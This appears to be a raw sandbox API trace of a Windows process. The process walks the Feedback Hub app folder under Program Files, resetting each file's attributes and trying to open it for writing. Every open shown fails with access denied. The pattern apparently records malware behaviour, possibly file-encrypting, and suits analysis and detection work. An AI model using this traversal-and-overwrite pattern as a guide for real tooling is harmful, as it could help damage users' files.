	[0090.209] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashWideTile.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.209] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashWideTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsplashwidetile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.209] GetLastError () returned 0x5
	[0090.209] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashWideTile.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.209] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c580) returned 1
	[0090.209] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510736d0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x510736d0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x510736d0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x147, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubStoreLogo.scale-100.png", cAlternateFileName="")) returned 1
	[0090.209] wcscmp (_String1="InsiderHubStoreLogo.scale-100.png", _String2=".") returned 1
	[0090.209] wcscmp (_String1="InsiderHubStoreLogo.scale-100.png", _String2="..") returned 1
	[0090.209] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x130) returned 0x4ebcee0
	[0090.209] wcscpy (in: _Dest=0x4ebcee0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.209] wcscat (in: _Dest=0x4ebcee0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.209] wcscat (in: _Dest=0x4ebcee0, _Source="InsiderHubStoreLogo.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubStoreLogo.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubStoreLogo.scale-100.png"
	[0090.209] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubStoreLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubstorelogo.scale-100.png")) returned 0x20
	[0090.213] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubStoreLogo.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.213] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubStoreLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubstorelogo.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.213] GetLastError () returned 0x5
	[0090.213] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubStoreLogo.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.213] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebcee0) returned 1
	[0090.213] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51099929, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x51099929, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x51099929, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x275, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubWideTile.scale-100.png", cAlternateFileName="")) returned 1
	[0090.213] wcscmp (_String1="InsiderHubWideTile.scale-100.png", _String2=".") returned 1
	[0090.213] wcscmp (_String1="InsiderHubWideTile.scale-100.png", _String2="..") returned 1
	[0090.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12e) returned 0x4ebcc70
	[0090.213] wcscpy (in: _Dest=0x4ebcc70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.213] wcscat (in: _Dest=0x4ebcc70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.213] wcscat (in: _Dest=0x4ebcc70, _Source="InsiderHubWideTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubWideTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubWideTile.scale-100.png"
	[0090.213] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubWideTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubwidetile.scale-100.png")) returned 0x20
	[0090.214] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubWideTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.214] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubWideTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubwidetile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.214] GetLastError () returned 0x5
	[0090.214] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubWideTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.214] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebcc70) returned 1
	[0090.214] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51099929, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x51099929, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x51099929, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x275, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubWideTile.scale-100_contrast-black.png", cAlternateFileName="")) returned 1
	[0090.214] wcscmp (_String1="InsiderHubWideTile.scale-100_contrast-black.png", _String2=".") returned 1
	[0090.214] wcscmp (_String1="InsiderHubWideTile.scale-100_contrast-black.png", _String2="..") returned 1
	[0090.214] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14c) returned 0x2d7c580
	[0090.214] wcscpy (in: _Dest=0x2d7c580, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.214] wcscat (in: _Dest=0x2d7c580, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.214] wcscat (in: _Dest=0x2d7c580, _Source="InsiderHubWideTile.scale-100_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubWideTile.scale-100_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubWideTile.scale-100_contrast-black.png"
	[0090.214] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubWideTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubwidetile.scale-100_contrast-black.png")) returned 0x20
	[0090.215] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubWideTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.215] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubWideTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubwidetile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.215] GetLastError () returned 0x5
	[0090.215] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubWideTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.215] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c580) returned 1
	[0090.215] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51099929, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x51099929, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x51099929, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubWideTile.scale-100_contrast-white.png", cAlternateFileName="")) returned 1
	[0090.215] wcscmp (_String1="InsiderHubWideTile.scale-100_contrast-white.png", _String2=".") returned 1
	[0090.215] wcscmp (_String1="InsiderHubWideTile.scale-100_contrast-white.png", _String2="..") returned 1
	[0090.215] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14c) returned 0x2d7c580
	[0090.215] wcscpy (in: _Dest=0x2d7c580, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.215] wcscat (in: _Dest=0x2d7c580, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.215] wcscat (in: _Dest=0x2d7c580, _Source="InsiderHubWideTile.scale-100_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubWideTile.scale-100_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubWideTile.scale-100_contrast-white.png"
	[0090.215] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubWideTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubwidetile.scale-100_contrast-white.png")) returned 0x20
	[0090.216] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubWideTile.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.216] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubWideTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubwidetile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.216] GetLastError () returned 0x5
	[0090.216] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubWideTile.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.216] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c580) returned 1
	[0090.216] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51099929, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x51099929, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x51099929, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubWideTile.scale-100_contrast-white.png", cAlternateFileName="")) returned 0
	[0090.216] FindClose (in: hFindFile=0x477ac68 | out: hFindFile=0x477ac68) returned 1
	[0090.217] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502bad8) returned 1
	[0090.217] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491caa0) returned 1
	[0090.217] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491bff8) returned 1
	[0090.217] FindNextFileW (in: hFindFile=0x46a87d8, lpFindFileData=0x502b870 | out: lpFindFileData=0x502b870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf97d1eca, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xf97d1eca, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf97d1eca, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0090.217] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0090.217] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0090.217] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x122) returned 0x2d7c580
	[0090.217] wcscpy (in: _Dest=0x2d7c580, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.217] wcscat (in: _Dest=0x2d7c580, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.217] wcscat (in: _Dest=0x2d7c580, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.217] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x126) returned 0x4732810
	[0090.217] wcscpy (in: _Dest=0x4732810, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.217] wcscat (in: _Dest=0x4732810, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0090.217] wcscat (in: _Dest=0x4732810, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0090.217] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502b608
	[0090.217] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf97d1eca, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xf97d1eca, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf97d1eca, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a768
	[0090.218] wcscmp (_String1=".", _String2=".") returned 0
	[0090.218] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf97d1eca, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xf97d1eca, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf97d1eca, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.218] wcscmp (_String1="..", _String2=".") returned 1
	[0090.218] wcscmp (_String1="..", _String2="..") returned 0
	[0090.218] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf97d1eca, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xf97d1eca, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf97d1eca, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0090.218] FindClose (in: hFindFile=0x477a768 | out: hFindFile=0x477a768) returned 1
	[0090.218] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502b608) returned 1
	[0090.218] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732810) returned 1
	[0090.218] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c580) returned 1
	[0090.218] FindNextFileW (in: hFindFile=0x46a87d8, lpFindFileData=0x502b870 | out: lpFindFileData=0x502b870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510bfb87, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x510bfb87, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x510bfb87, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa78, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0090.218] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0090.218] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0090.218] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x50277c8
	[0090.219] wcscpy (in: _Dest=0x50277c8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.219] wcscat (in: _Dest=0x50277c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.219] wcscat (in: _Dest=0x50277c8, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri"
	[0090.219] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri")) 

Thread:
	id = 1037
	os_tid = 0x1ca4

	[0082.681] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4719120
	[0082.681] wcscpy (in: _Dest=0x4719120, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe"
	[0082.681] wcscat (in: _Dest=0x4719120, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.681] wcscat (in: _Dest=0x4719120, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\*"
	[0082.681] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502bad8
